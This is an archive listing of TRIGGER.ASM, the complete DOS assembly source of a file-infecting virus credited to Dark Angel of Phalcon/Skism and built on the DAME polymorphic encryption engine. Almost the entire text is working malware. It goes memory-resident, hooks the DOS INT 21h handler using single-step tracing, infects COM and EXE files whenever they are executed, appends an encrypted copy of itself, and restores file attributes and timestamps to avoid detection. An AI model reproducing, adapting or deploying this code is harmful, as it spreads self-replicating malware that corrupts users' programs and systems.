home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / DAME.ZIP / DAME090.ZIP / TRIGGER.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-31  |  10.3 KB  |  501 lines

  1.         .model  tiny
  2.         .code
  3.         .radix  16
  4.         org     0
  5.  
  6.         viruslength     =       (heap - entry)
  7.         virussizeK      =       (endvirus - entry + 3ff) / 400
  8.         virussizepara   =       (virussizeK)*40
  9.  
  10.         EXE_ID          =       'PS'
  11.  
  12. entry:
  13.         call    past
  14. next:
  15.         db      0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
  16.         db      "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
  17.         db      0Dh,0A,0
  18.  
  19. checkstub       db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63
  20.  
  21. past:   cld
  22.         pop     bp
  23.  
  24.         mov     ax,0cf0
  25.         mov     bx,'DA'
  26.         int     21
  27.         cmp     bx,'GH'
  28.         jnz     no_trigger
  29. trigger:
  30.         push    ds
  31.         push    es
  32.  
  33.         push    cs
  34.         pop     ds
  35.         xor     ax,ax
  36. checkagain:
  37.         lea     si,[bp+checkstub-next]
  38.         mov     es,ax
  39.         xor     di,di
  40.         mov     cx,8
  41.         rep     cmpsw
  42.         jz      trigger_it
  43.         inc     ax
  44.         cmp     ax,0a000
  45.         jb      checkagain
  46.         jmp     exit_trigger
  47. trigger_it:
  48.         mov     [bp+patch-next],ax
  49.         mov     ds,ax
  50.         mov     byte ptr ds:73,0cbh
  51.         push    bp
  52.         mov     bp,-80
  53.         jmp     short $+2
  54.         db      09a ; call far ptr
  55.         dw      1
  56. patch   dw      ?
  57.         pop     bp
  58.         mov     byte ptr ds:73,1f
  59. exit_trigger:
  60.         pop     es
  61.         pop     ds
  62.         jmp     short restore
  63.  
  64. no_trigger:
  65.         mov     ax,4b90
  66.         int     21
  67.         cmp     ax,bx
  68.         jz      restore
  69.  
  70.         push    ds
  71.         push    es
  72.  
  73.         mov     ax,ds
  74.         dec     ax
  75.         mov     ds,ax
  76.         sub     word ptr ds:3,virussizepara
  77.         sub     word ptr ds:12,virussizepara
  78.         mov     es,ds:12
  79.  
  80.         push    cs
  81.         pop     ds
  82.  
  83.         xor     di,di
  84.         lea     si,[bp+offset entry-offset next]
  85.         mov     cx,(viruslength + 1)/2
  86.         rep     movsw
  87.  
  88.         xor     ax,ax
  89.         mov     ds,ax
  90.         sub     word ptr ds:413,virussizeK
  91.  
  92.         mov     di,offset oldint21
  93.         mov     si,21*4
  94.         movsw
  95.         movsw
  96.  
  97.         cli
  98.  
  99.         pushf
  100.         pushf
  101.         pop     ax
  102.         or      ah,1
  103.         push    ax
  104.  
  105.         mov     ds:1*4+2,es
  106.         mov     word ptr ds:1*4,offset int1_1
  107.  
  108.         popf
  109.  
  110.         mov     ah,30
  111.         pushf
  112.         call    dword ptr ds:21*4
  113.  
  114.         popf
  115.  
  116.         lds     si,dword ptr es:oldint21
  117.         mov     di,si
  118.         lodsw
  119.         mov     word ptr es:int21patch1,ax
  120.         lodsw
  121.         mov     word ptr es:int21patch2,ax
  122.         lodsb
  123.         mov     byte ptr es:int21patch3,al
  124.  
  125.         push    ds ; es:di->int 21 handler
  126.         push    es
  127.         pop     ds ; ds->high segment
  128.         pop     es
  129.  
  130.         mov     al,0ea
  131.         stosb
  132.         mov     ax,offset int21
  133.         stosw
  134.         mov     ax,ds
  135.         stosw
  136.         sti
  137.  
  138.         pop     es
  139.         pop     ds
  140.  
  141. restore:
  142.         cmp     sp,-2
  143.         jnz     restoreEXE
  144. restoreCOM:
  145.         lea     si,[bp+readbuffer-next]
  146.         mov     di,100
  147.         push    di
  148.         movsw
  149.         movsw
  150.         ret
  151. restoreEXE:
  152.         mov     ax,ds
  153.         add     ax,10
  154.         add     cs:[bp+readbuffer+16-next], ax
  155.         add     ax,cs:[bp+readbuffer+0e-next]
  156.         mov     ss,ax
  157.         mov     sp,cs:[bp+readbuffer+10-next]
  158.         jmp     dword ptr cs:[bp+readbuffer+14-next]
  159.  
  160. readbuffer      dw 20cdh
  161.                 dw 0bh dup (?)
  162.  
  163. int1_1:
  164.         push    bp
  165.         mov     bp,sp
  166.         push    ax
  167.  
  168.         mov     ax, [bp+4]      ; get segment
  169.         cmp     ax, cs:oldint21+2
  170.         jae     exitint1
  171.         mov     cs:oldint21+2,ax
  172.         mov     ax, [bp+2]
  173.         mov     cs:oldint21,ax
  174. exitint1:
  175.         pop     ax
  176.         pop     bp
  177.         iret
  178.  
  179. int1_2:
  180.         push    bp
  181.         mov     bp,sp
  182.         push    ax
  183.  
  184.         mov     ax,cs
  185.         cmp     ax,[bp+4]
  186.         jz      exitint1
  187.  
  188.         mov     ax,[bp+4]
  189.         cmp     ax,cs:oldint21+2
  190.         jnz     int1_2_restore
  191.  
  192.         mov     ax,[bp+2]
  193.         cmp     ax,cs:oldint21
  194.         jb      int1_2_restore
  195.         sub     ax,5
  196.         cmp     ax,cs:oldint21
  197.         jbe     exitint1
  198. int1_2_restore:
  199.         push    es
  200.         push    di
  201.         cld
  202.         les     di,dword ptr cs:oldint21
  203.         mov     al,0ea
  204.         stosb
  205.         mov     ax,offset int21
  206.         stosw
  207.         mov     ax,cs
  208.         stosw
  209.         pop     di
  210.         pop     es
  211.  
  212.         and     [bp+6],0feff
  213.         jmp     exitint1
  214.  
  215. install:
  216.         mov     bx,ax
  217.         iret
  218. int21:
  219.         cmp     ax,4b90
  220.         jz      install
  221.  
  222.         push    ds
  223.         push    di
  224.         lds     di,dword ptr cs:oldint21
  225.         mov     word ptr ds:[di],1234
  226. int21patch1      =       $ - 2
  227.         mov     word ptr ds:[di+2],1234
  228. int21patch2      =       $ - 2
  229.         mov     byte ptr ds:[di+4],12
  230. int21patch3      =       $ - 1
  231.         pop     di
  232.         pop     ds
  233.  
  234.         cld
  235.  
  236.         cmp     ax,4b00
  237.         jz      infect
  238.  
  239. exitint21:
  240.         push    ds
  241.         push    ax
  242.  
  243.         xor     ax,ax
  244.         mov     ds,ax
  245.         cli
  246.         mov     word ptr ds:1*4,offset int1_2
  247.         mov     ds:1*4+2,cs
  248.         sti
  249.  
  250.         pushf
  251.         pop     ax
  252.         or      ah,1
  253.         push    ax
  254.         popf
  255.         pop     ax
  256.         pop     ds
  257.         db      0ea
  258. oldint21 dw     0, 0
  259.  
  260. callint21:
  261.         pushf
  262.         call    dword ptr cs:oldint21
  263.         ret
  264.  
  265. already_infected:
  266.         pop     dx
  267.         pop     cx
  268.         mov     ax,5701
  269.         call    callint21
  270.  
  271.         mov     ah,3e
  272.         call    callint21
  273. exitnoclose:
  274.         mov     ax,4301
  275.         pop     dx
  276.         pop     ds
  277.         pop     cx
  278.         call    callint21
  279.  
  280. exitinfect:
  281.         pop     es
  282.         pop     ds
  283.         pop     di
  284.         pop     si
  285.         pop     bp
  286.         pop     bx
  287.         pop     dx
  288.         pop     cx
  289.         pop     ax
  290.         jmp     exitint21
  291.  
  292. infect:
  293.         push    ax
  294.         push    cx
  295.         push    dx
  296.         push    bx
  297.         push    bp
  298.         push    si
  299.         push    di
  300.         push    ds
  301.         push    es
  302.  
  303.         mov     ax,4300
  304.         call    callint21
  305.         push    cx
  306.         push    ds
  307.         push    dx
  308.  
  309.         mov     ax,4301
  310.         xor     cx,cx
  311.         call    callint21
  312.  
  313.         mov     ax,3d02
  314.         call    callint21
  315.         jc      exitnoclose
  316.         xchg    ax,bx
  317.  
  318.         mov     ax,5700
  319.         int     21
  320.         push    cx
  321.         push    dx
  322.  
  323.         mov     ah,3f
  324.         mov     cx,18
  325.         push    cs
  326.         pop     ds
  327.         push    cs
  328.         pop     es
  329.         mov     dx,offset readbuffer
  330.         mov     si,dx
  331.         call    callint21
  332.         jc      already_infected
  333.  
  334.         mov     di,offset writebuffer
  335.         mov     cx,18/2
  336.  
  337.         push    si
  338.         push    di
  339.  
  340.         rep     movsw
  341.  
  342.         pop     di
  343.         pop     si
  344.  
  345.         mov     ax,4202
  346.         xor     cx,cx
  347.         cwd
  348.         int     21
  349.  
  350.         cmp     word ptr [di],'ZM'
  351.         jnz     infectCOM
  352.  
  353. infectEXE:
  354.         cmp     readbuffer+10,EXE_ID
  355. go_already_infected:
  356.         jz      already_infected
  357.  
  358.         mov     ds:writebuffer+4,ax
  359.         mov     ds:writebuffer+2,dx
  360.  
  361.         mov     cx,10
  362.         div     cx
  363.  
  364.         sub     ax,ds:writebuffer+8
  365.  
  366.         mov     ds:writebuffer+14,dx
  367.         mov     ds:writebuffer+16,ax
  368.  
  369.         xchg    cx,dx
  370.  
  371.         mov     ds:writebuffer+0e,ax
  372.         mov     ds:writebuffer+10,EXE_ID
  373.  
  374.         mov     al,10b
  375.         jmp     finishinfect
  376.  
  377. infectCOM: ; si = readbuffer, di = writebuffer
  378.         push    ax
  379.  
  380.         mov     cx,4
  381.         xor     dx,dx
  382. check_infection_loop:
  383.         lodsb
  384.         add     dl,al
  385.         loop    check_infection_loop
  386.  
  387.         pop     ax
  388.  
  389.         or      dl,dl
  390.         jz      go_already_infected
  391.  
  392.         mov     dx,18
  393.         cmp     ax,dx
  394.         jnb     no_fixup_com
  395.  
  396.         mov     ax,4200
  397.         xor     cx,cx
  398.         int     21
  399. no_fixup_com:
  400.         mov     cx,ax
  401.         inc     ch      ; add cx,100
  402.         sub     ax,3
  403.         push    ax
  404.         mov     al,0e9
  405.         stosb
  406.         pop     ax
  407.         stosw
  408.         add     al,ah
  409.         add     al,0e9
  410.         neg     al
  411.         stosb
  412.  
  413.         mov     al,11b
  414. finishinfect:
  415.         cbw
  416. ; ax = bitmask
  417. ; bx = start decrypt in carrier file
  418. ; cx = encrypt length
  419. ; dx = start encrypt in virus
  420. ; si = buffer to put decryption routine
  421. ; di = buffer to put encryption routine
  422.         push    bx
  423.  
  424.         xchg    cx,bx
  425.  
  426.         xor     si,si
  427.         mov     di,offset copyvirus
  428.         mov     cx,(heap-entry+1)/2
  429.         rep     movsw
  430.  
  431.         push    ax
  432.         call    rnd_init_seed
  433.         pop     ax
  434.  
  435.         mov     dx,offset copyvirus
  436.         mov     cx,viruslength
  437.         mov     si,offset _decryptbuffer
  438.         mov     di,offset _encryptbuffer
  439.         call    dame
  440.  
  441.         push    cx
  442.  
  443.         cmp     ds:writebuffer,'ZM'
  444.         jnz     no_fix_header
  445.  
  446.         mov     dx,ds:writebuffer+2
  447.         mov     ax,ds:writebuffer+4
  448.         add     cx,viruslength
  449.         add     ax,cx
  450.         adc     dx,0
  451.         mov     cx,200
  452.         div     cx
  453.         or      dx,dx
  454.         jz      nohiccup
  455.         inc     ax
  456. nohiccup:
  457.         mov     ds:writebuffer+4,ax
  458.         mov     ds:writebuffer+2,dx
  459. no_fix_header:
  460.         call    di
  461.         pop     cx
  462.  
  463.         pop     bx
  464.  
  465.         mov     ah,40
  466.         mov     dx,offset _decryptbuffer
  467.         call    callint21
  468.  
  469.         mov     ah,40
  470.         mov     cx,viruslength
  471.         mov     dx,offset copyvirus
  472.         call    callint21
  473.  
  474.         mov     ax,4200
  475.         xor     cx,cx
  476.         cwd
  477.         int     21
  478.  
  479.         mov     ah,40
  480.         mov     cx,18
  481.         mov     dx,offset writebuffer
  482.         call    callint21
  483.         jmp     already_infected
  484.  
  485. vars = 0
  486. include dame.asm
  487.  
  488. heap:
  489. vars = 1
  490. include dame.asm
  491.  
  492. writebuffer             dw       0c dup (?)
  493. _encryptbuffer:         db       80 dup (?)
  494. _decryptbuffer:         db      180 dup (?)
  495. copyvirus               db      viruslength dup (?)
  496.                         db      20 dup (?)
  497. endvirus:
  498.  
  499. end entry
  500.  
  501.